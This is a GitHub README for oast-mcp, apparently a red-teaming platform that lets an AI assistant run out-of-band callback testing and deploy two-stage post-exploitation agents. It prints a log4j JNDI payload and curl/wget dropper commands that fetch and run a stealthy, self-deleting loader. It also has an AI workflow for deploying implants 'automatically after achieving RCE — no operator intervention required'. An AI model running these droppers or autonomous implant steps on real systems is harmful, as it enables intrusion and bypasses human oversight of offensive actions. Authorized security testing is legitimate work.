Skip to content

dguerri/oast-mcp

Repository files navigation

Logo

OAST-MCP

License Go Report Card CI Go version Coverage Conventional Commits

Out-of-Band Application Security Testing via the Model Context Protocol.

OAST-MCP exposes six OAST tools and eight agent-management tools to any MCP-compatible AI assistant. It lets an AI drive DNS/HTTP/HTTPS callback detection, deploy agents on compromised targets, and run remote tasks — including fully interactive shell sessions via PTY.

All from a single, audited MCP interface.

┌────────────────────────────────────────────────────────┐
│          AI Assistant (Claude, GPT-4o, …)              │
│            MCP client → SSE transport                  │
└───────────────────────┬────────────────────────────────┘
                        │ HTTPS (Caddy TLS termination)
┌───────────────────────▼────────────────────────────────┐
│  oast-mcp  (127.0.0.1)                                 │
│  ┌─────────────────┐   ┌──────────────────────────┐    │
│  │  MCP SSE :8080  │   │  Agent WebSocket :8081   │    │
│  └────────┬────────┘   └───────────┬──────────────┘    │
│           │ event store            │ task dispatch     │
│  ┌────────▼────────────────────────▼───────────────┐   │
│  │  SQLite store  (sessions · events · tasks ·     │   │
│  │                agents)                          │   │
│  └─────────────────────────────────────────────────┘   │
│                        │                               │
│           ┌────────────▼────────────┐                  │
│           │  native responder       │                  │
│           │  (DNS :53 · HTTP :9090) │                  │
│           └─────────────────────────┘                  │
└────────────────────────────────────────────────────────┘

Documentation

Doc What it covers
docs/gcp-project-setup.md Create GCP project, enable APIs, create state bucket, configure Cloud DNS zone, authenticate Terraform, full deploy walkthrough
docs/domain-setup.md DNS architecture — why mcp/agent hostnames must be siblings of the OAST zone, NS delegation, glue records

Quickstart

Prerequisites: GCP project, a domain pointed at Cloud DNS, Terraform ≥ 1.5, Ansible, Go.

1 — Configure

make secrets creates deploy/.env from the example, then fills in a generated JWT signing key and age operator keypair. Run it first, then fill in the remaining values.

make secrets
# → deploy/.env         (JWT_KEY + OPERATOR_PUB filled in — gitignored)
# → deploy/operator.key (age private key — keep safe, gitignored)

# Now edit deploy/.env and fill in the remaining values:
#   GCP_PROJECT_ID, TF_BACKEND_BUCKET, SSH_KEY, ADMIN_SSH_CIDR,
#   OAST_DOMAIN, PARENT_DNS_ZONE_NAME, MCP_HOSTNAME, AGENT_HOSTNAME, ACME_EMAIL
$EDITOR deploy/.env

The Makefile reads deploy/.env and generates terraform.tfvars and inventory/hosts.yml automatically — you never edit those files directly.

2 — Initialise Terraform

Downloads providers and configures the GCS remote backend.

make tf-init

3 — Deploy

make deploy runs the full pipeline in order:

make deploy
Step What happens
make cross Cross-compiles the oast-mcp server binary for Linux amd64
make build-loaders Builds Stage 1 loaders: C/musl/mbedTLS for linux/amd64 and linux/arm64 (requires Docker, ~77KB each); Go cross-compile for windows/amd64
make build-agents Cross-compiles Stage 2 agent for linux/amd64, linux/arm64, windows/amd64; UPX-compresses if available
make tf-apply Creates GCP VM, static IP, firewall rules, DNS records (NS delegation + glue + mcp/agent A records), Caddy service account + key
make inventory Pulls vm_public_ip from Terraform state, generates deploy/ansible/inventory/hosts.yml
make ansible Pulls caddy_gcp_sa_key_b64 and vm_public_ip from Terraform state, generates an ephemeral TSIG key pair, runs Ansible playbook: hardens the VM, installs Caddy + oast-mcp, copies loader/agent binaries to bin_dir, starts all services

Or run steps individually if you only need to re-run part of the pipeline (e.g. make ansible after a config change).

4 — Issue a token

# SSH to the VM and run:
sudo oast-mcp token \
  --config /etc/oast-mcp/config.yml \
  --sub my-ai-assistant \
  --scope oast:read,oast:write,agent:admin \
  --ttl 168h
# Prints a signed JWT — use as the Bearer token for the MCP client.

5 — Connect an MCP client

Configure your AI assistant to connect to the MCP SSE endpoint:

URL:           https://mcp.oast.info/sse
Authorization: Bearer <token from step 4>

6 — Install the agent skill (optional but recommended)

.agents/skills/oast-mcp/SKILL.md follows the agentskills.io standard and teaches your AI assistant the correct tool order, capability params, and common pitfalls. Without it, the assistant may poll oast_list_events instead of blocking on oast_wait_for_event, or misconfigure delivery modes.

Gemini CLI, Codex, and other agentskills.io-compatible agents — scan .agents/skills/ in the project directory and ~/.agents/skills/ globally. If you're working inside this repository the skill is auto-discovered. For global access:

cp -r .agents/skills/oast-mcp ~/.agents/skills/oast-mcp

Claude Code — scans .claude/skills/ (project) and ~/.claude/skills/ (user), not .agents/skills/:

cp -r .agents/skills/oast-mcp ~/.claude/skills/oast-mcp

ChatGPT / Custom GPT — paste the contents of .agents/skills/oast-mcp/SKILL.md into the Instructions field of your Custom GPT, or prepend it to your system prompt.

Teardown

Destroys all GCP infrastructure (VM, IPs, DNS records, service accounts). Prompts for confirmation before destroying.

make teardown
# → terraform destroy (interactive confirmation)
# → removes generated inventory/hosts.yml and terraform.tfvars
# → preserves GCS state bucket, deploy/.env, deploy/operator.key

Delete deploy/.env and deploy/operator.key manually if you are retiring the deployment entirely.


Configuration reference

Field Default Description
domain.oast_zone Wildcard DNS zone, e.g. oast.example.com
domain.mcp_hostname MCP SSE public hostname
domain.agent_hostname Agent WebSocket public hostname
server.mcp_port 8080 MCP SSE listen port (loopback)
server.agent_port 8081 Agent WebSocket listen port (loopback)
server.bind_addr 127.0.0.1 Bind address for both servers
responder.public_ip "" Public IP advertised in DNS A record answers
responder.dns_bind_addr "" IP to bind DNS on; empty = all interfaces
responder.http_bind_addr 127.0.0.1 IP to bind HTTP callback server
responder.dns_port 53 UDP/TCP port for the native DNS server
responder.http_port 9090 TCP port for the native HTTP callback server
auth.jwt_signing_key_hex 64 hex chars (32 bytes) HMAC-SHA256 JWT signing key
auth.tsig_key_name "" TSIG key name for RFC 2136 DNS updates (e.g. caddy.)
auth.tsig_key_hex "" 64 hex chars (32 bytes) TSIG secret; empty = RFC 2136 disabled
auth.tsig_allowed_addr "" Source IP allowed to send RFC 2136 UPDATEs; empty = any
database.path /var/lib/oast-mcp/oast.db SQLite database path
retention.session_ttl_days 7 Days to keep OAST sessions
retention.event_ttl_days 14 Days to keep interaction events
agent.operator_public_key age X25519 public key used for agent dropper encryption
agent.exec_lab_mode false Allow arbitrary exec (lab/CTF only)
agent.exec_allowlist [] Permitted commands when exec_lab_mode is false
agent.bin_dir /var/lib/oast-mcp/bin Directory containing pre-built loader-* and agent-* binaries served via /dl/

OAST operator workflow

Create a session and get callback endpoints

Tool: oast_create_session
Args: { "ttl_seconds": 3600, "tags": ["ssrf-test", "pr-123"] }

Response:
{
  "session_id": "abc123",
  "endpoints": {
    "dns":   "a1b2c3d4e5.oast.example.com",
    "http":  "http://a1b2c3d4e5.oast.example.com",
    "https": "https://a1b2c3d4e5.oast.example.com"
  },
  "expires_at": "2026-03-01T00:00:00Z"
}

Trigger a callback (in the target application)

# DNS
dig A a1b2c3d4e5.oast.example.com

# HTTP
curl http://a1b2c3d4e5.oast.example.com/test

# HTTPS
curl https://a1b2c3d4e5.oast.example.com/test

Poll for interactions

Tool: oast_list_events
Args: { "session_id": "abc123" }

Response:
{
  "events": [
    {
      "event_id": "...",
      "protocol": "dns",
      "src_ip": "203.0.113.42",
      "received_at": "2026-02-28T22:01:00Z",
      "data": { "qname": "a1b2c3d4e5.oast.example.com", "qtype": "A" }
    }
  ],
  "next_cursor": "eyJ..."
}

Close a session

Tool: oast_close_session
Args: { "session_id": "abc123" }

Wait for the next interaction (blocking poll)

Instead of polling in a loop, the AI can block until an event arrives or the timeout expires:

Tool: oast_wait_for_event
Args: { "session_id": "abc123", "timeout_seconds": 30 }

Response:
{
  "events": [
    {
      "event_id": "...",
      "protocol": "http",
      "src_ip": "203.0.113.42",
      "received_at": "2026-03-02T10:01:00Z",
      "data": { "method": "GET", "path": "/test", "user_agent": "curl/8.0" }
    }
  ],
  "next_cursor": "eyJ...",
  "timed_out": false
}

Returns timed_out: true (with an empty events array) if no event arrives within the timeout.

Payload generation

Generate a ready-to-use injection payload for a session. The type field selects the payload template (e.g. log4j, ssrf, generic); label is an optional human-readable tag embedded in the subdomain.

Tool: oast_generate_payload
Args: { "session_id": "abc123", "type": "log4j", "label": "ua-header" }

Response:
{
  "dns_hostname": "a1b2c3d4e5.ua-header.oast.example.com",
  "http_url":     "http://a1b2c3d4e5.ua-header.oast.example.com/",
  "https_url":    "https://a1b2c3d4e5.ua-header.oast.example.com/",
  "payload":      "${jndi:ldap://a1b2c3d4e5.ua-header.oast.example.com/a}"
}

Agent workflow

Agents are two-stage Go binaries. The AI deploys them automatically after achieving RCE — no operator intervention required.

Architecture

Stage 1 — loader (Linux C/musl ~77KB, Windows Go ~1.8MB)
  Delivered to target via curl, wget, or inline base64.
  Daemonizes immediately (double-fork on Linux, detached process on Windows)
  so the parent (e.g. a web request handler) returns right away.
  Self-deletes on first run (one-shot dropper).
  Downloads Stage 2 from /dl/second-stage/{os}-{arch} (token-gated).
  Linux:   Stage 2 loaded into anonymous memfd — never written to disk.
  Windows: Stage 2 written to a delete-on-close temp file, removed on agent exit;
           loader .exe also auto-deleted on loader exit.

Stage 2 — agent (~3MB UPX)
  Connects WSS to the agent server, registers, accepts tasks.
  Capabilities: exec, interactive_exec, read_file, write_file, fetch_url, system_info.
  Reconnects with exponential backoff.
  Self-deletes if the token expires.

Deploy an agent via MCP (automated)

Tool: agent_dropper_generate
Scope required: agent:admin
Args: {
  "agent_id": "web-01",
  "os_arch":  "linux-amd64",
  "ttl":      "24h",
  "delivery": "url",        // or "inline" for air-gapped targets
  "insecure": false         // true = skip TLS cert verification (audited, stored in agent session)
}

Response:
{
  "agent_id":     "web-01",
  "token":        "eyJ...",
  "expires_at":   "2026-03-06T10:00:00Z",
  "download_url": "https://agent.example.com/dl/loader-linux-amd64",
  "curl_cmd":     "curl -fsSL '...' -o /tmp/.l && chmod +x /tmp/.l && /tmp/.l https://agent.example.com eyJ... web-01",
  "wget_cmd":     "wget -qO /tmp/.l '...' && chmod +x /tmp/.l && /tmp/.l https://agent.example.com eyJ... web-01",
  "b64_cmd":      "printf '<b64>' | base64 -d > /tmp/.l && chmod +x /tmp/.l && /tmp/.l ..."
}

Loader flags (set via insecure parameter or appended manually to the command):

  • -k — skip TLS certificate verification. Propagated to Stage 2: the agent's WebSocket connection and fetch_url capability both skip verification. Use only when the target has no CA bundle (e.g. minimal containers). Recorded in the audit log and stored in the agent session.
  • -f — stay in foreground (do not daemonize). Useful for debugging — errors are printed to stderr.

AI workflow after RCE:

  1. Probe target: uname -m (Linux) or $ENV:PROCESSOR_ARCHITECTURE (Windows) to determine os_arch.
  2. Call agent_dropper_generate with agent_id, os_arch, ttl, and delivery. Pass insecure: true only if the target lacks a CA bundle.
  3. Try commands in order (curl_cmdwget_cmdpython3_cmd, or b64_cmd for inline). The command returns immediately — the loader daemonizes and downloads Stage 2 in the background.
  4. Wait a few seconds, then poll agent_list until the agent appears as online.
  5. Use agent_task_schedule to run tasks.

List registered agents

Tool: agent_list
Scope required: agent:admin

Response: [{
  "agent_id":     "web-01",
  "status":       "online",
  "capabilities": ["exec", "interactive_exec", "read_file", "write_file", "fetch_url", "system_info"],
  "insecure":     false,        // true = agent is running with TLS verification disabled
  "registered_at": "...",
  "last_seen_at": "...",
  "expires_at":   "..."
}]

The insecure field reflects how the agent was deployed. Use it to identify agents where TLS verification is disabled — this is also captured in the audit log at dropper generation time.

Schedule a task

Tool: agent_task_schedule
Args: {
  "agent_id":   "web-01",
  "capability": "exec",
  "params":     { "cmd": "id", "timeout": 10 }
}

Response: { "task_id": "task-uuid", "status": "pending" }

Available capabilities:

Capability Params Result Notes
exec cmd (string), timeout (int, default 30s) output (string), exit_code (int)
interactive_exec command (string), binary (bool, default false) Use agent_task_interact for I/O PTY on Unix, pipes on Windows
read_file path (string) content (base64), path
write_file path (string), content_b64 (base64), mode (string, e.g. "0755") bytes_written (int)
fetch_url url (string), timeout (int, default 15s) status (int), body (base64) TLS verification follows the agent's -k flag
system_info hostname, os, arch, user

Check task status

Tool: agent_task_status
Args: {
  "task_id":     "task-uuid",
  "wait":        true,   // block server-side until done/error (default: true)
  "timeout_secs": 30    // how long this call blocks, not the task deadline (default: 30, max: 120)
}

Response: { "status": "done", "result": { "output": "uid=0(root)", "exit_code": 0 } }

By default the call blocks server-side until the task completes or the wait timeout elapses — no polling needed. If timed_out: true is returned, the task is still running; call agent_task_status again. Set wait: false to get the current status instantly (useful when checking multiple tasks in parallel).

Interactive exec

Start a process under a PTY (Unix) or pipes (Windows) and exchange stdin/stdout interactively. Use this for shell sessions, setuid binaries, or any program that prompts for input.

// 1. Schedule the interactive process
Tool: agent_task_schedule
Args: { "agent_id": "web-01", "capability": "interactive_exec", "params": { "command": "bash" } }
→ { "task_id": "task-uuid", "status": "pending" }

// 2. Read initial output (shell prompt)
Tool: agent_task_interact
Args: { "task_id": "task-uuid" }
→ { "stdout": "root@host:/# ", "stderr": "", "running": true }

// 3. Send a command and read the response
Tool: agent_task_interact
Args: { "task_id": "task-uuid", "stdin": "id\\n" }
→ { "stdout": "id\r\nuid=0(root) gid=0(root)\r\nroot@host:/# ", "stderr": "", "running": true }

// 4. Exit the shell
Tool: agent_task_interact
Args: { "task_id": "task-uuid", "stdin": "exit\\n" }
→ { "stdout": "exit\r\n", "stderr": "", "running": false, "exit_code": 0 }

Stdin escape sequences — C-style escapes are interpreted before sending to the process:

Escape Byte Use
\n 0x0A Newline / Enter
\r 0x0D Carriage return
\t 0x09 Tab (shell completion)
\\ 0x5C Literal backslash
\xNN hex Control characters: \x03 = Ctrl-C, \x04 = Ctrl-D (EOF), \x1b = Escape

By default stdout/stderr are returned as UTF-8 text. Set binary: true for base64 encoding in both directions (useful when the process emits raw binary data).

If wait: true (default) and no output is available yet, the call blocks server-side until output arrives or timeout_secs elapses — no polling loop needed.

Cancel a task

Tool: agent_task_cancel
Args: { "task_id": "task-uuid", "agent_id": "web-01" }
→ { "task_id": "task-uuid", "agent_id": "web-01", "status": "cancelled" }

Transitions the task to a terminal state and sends a kill signal to the agent. Works for both regular and interactive tasks.


Validation checklist

After deployment run through these steps to confirm everything works end-to-end:

VM=$(cd deploy/terraform && terraform output -raw vm_public_ip)

# 1. DNS delegation is working — native responder answers for the oast zone
dig NS oast.example.com +short          # → ns1.example.com. ns2.example.com.
dig A test.oast.example.com @$VM        # → $VM (native responder answers)

# 2. TLS certificates provisioned by Caddy DNS-01
curl -sv https://mcp.example.com/sse 2>&1 | grep "SSL certificate verify ok"

# 3. Auth is enforced
curl https://mcp.example.com/sse        # → 401 Unauthorized

# 4. Token + SSE stream (run on the VM)
TOKEN=$(sudo oast-mcp token --config /etc/oast-mcp/config.yml \
  --sub validator --scope oast:write,oast:read --ttl 1h)
curl -H "Authorization: Bearer $TOKEN" https://mcp.example.com/sse
# → HTTP 200, Content-Type: text/event-stream, endpoint event with session URL

Retention and maintenance

Expired sessions and events are purged automatically every 24 hours by the built-in retention ticker. Defaults:

  • Sessions: 7 days
  • Events: 14 days

To adjust, change retention.session_ttl_days / retention.event_ttl_days in config.yml and restart the service.


Development

# Build
make build

# Cross-compile (Linux amd64 for deployment)
make cross

# Unit tests (with race detector)
make test

# Docker smoke tests — full end-to-end: OAST callbacks + agent lifecycle
make smoke

# Generate a local token for testing
./bin/oast-mcp token --sub dev --scope oast:read,oast:write,agent:admin --ttl 24h

# Run locally (uses built-in mock responder when public_ip is empty)
./bin/oast-mcp serve --config /etc/oast-mcp/config.yml

Scopes

Scope Tools
oast:write oast_create_session, oast_close_session
oast:read oast_list_sessions, oast_list_events, oast_wait_for_event, oast_generate_payload
agent:admin agent_list, agent_task_schedule, agent_task_status, agent_task_interact, agent_task_cancel, agent_dropper_generate
agent:connect WebSocket agent registration + /dl/second-stage/ downloads

Build loader and agent binaries

# Linux loaders (C/musl/mbedTLS, requires Docker):
#   bin/loader-linux-amd64   ~77 KB
#   bin/loader-linux-arm64   ~77 KB
# Windows loader (Go, no Docker required):
#   bin/loader-windows-amd64.exe
make build-loaders   # → bin/loader-{os}-{arch}[.exe]

# Agents (Go cross-compile, all platforms):
make build-agents    # → bin/agent-{os}-{arch}[.exe]

make build-all       # build + build-loaders + build-agents

Binaries must be copied to agent.bin_dir on the server (Ansible handles this on make deploy).

Smoke tests

Docker-based end-to-end tests that exercise every MCP tool against real (non-mock) components running inside a single container. No external services or domain delegation required.

make smoke

This builds a Docker image containing the test binary and a Linux agent, then runs the full suite:

Test What it covers
TestSmoke_OAST_DNS Session lifecycle, payload generation, DNS callback detection via native responder
TestSmoke_OAST_HTTP HTTP callback detection with Host header routing
TestSmoke_Agent_Lifecycle Agent deployment, system_info, exec, read_file, write_file, fetch_url
TestSmoke_Agent_InteractiveExec PTY session: send commands, read output, exit cleanly
TestSmoke_Agent_Cancel Task cancellation of a running interactive process
TestSmoke_Agent_StdinEscapes C-style escape interpretation (\n, \x04 Ctrl-D) in agent_task_interact

The tests live in test/smoke/ with build tag //go:build smoke so they are excluded from go test ./....

Token generation

# Operator/AI token
oast-mcp token --sub <tenant-id> --scope oast:read,oast:write,agent:admin --ttl 168h

# Agent token (normally issued automatically by agent_dropper_generate)
oast-mcp token --sub <tenant-id> --scope agent:connect --ttl 24h

Revoking a token

To immediately invalidate an issued token:

oast-mcp revoke --config /etc/oast-mcp/config.yml --token <jwt>

The token is recorded in the revocation store and rejected on all subsequent requests.


Comparison with other OAST MCP Servers

Feature oast-mcp (This Project) mcp-interactsh go-roast
Primary Use Case Offensive / Red Teaming Offensive / Bug Bounty Defensive / Threat Intel
Testing Paradigm Active Active Passive (Forensics)
Infrastructure Self-Hosted (GCP/Terraform) Public / 3rd Party Local Data / APIs
OAST Callbacks DNS, HTTP, HTTPS DNS, HTTP, HTTPS, SMTP, ... N/A (Analyzes logs)
Payload Gen Yes (Built-in templates) No N/A
Retrieval Wait and polling Polling N/A
Post-Exploit Yes (Two-stage Agents, RCE) No No
Setup Friction High (Cloud, DNS, Certs) Extremely Low (npx) Low (Binary install)
Data Privacy High (100% Owned) Low (if using public fleet) High (Local analysis)

Summary

  • oast-mcp is for professional red-teaming where data privacy and a seamless transition from vulnerability discovery to post-exploitation (RCE) are required. It is a full-stack platform, not just a wrapper.
  • mcp-interactsh is ideal for quick, ad-hoc testing and bug hunting where ease of use is more important than owning the underlying infrastructure.
  • go-roast is a specialized forensic tool for defensive workflows, used to decode and analyze metadata from existing OAST callbacks found in logs or threat intel feeds.

About

OAST-MCP exposes OAST tools and agent-management tools to any MCP-compatible AI assistant. It lets an AI drive DNS/HTTP/HTTPS callback detection, deploy agents on compromised targets, and run remote tasks. All from a single, audited MCP interface.

Resources

License

Security policy

Stars

Watchers

Forks

Packages

 
 
 

Contributors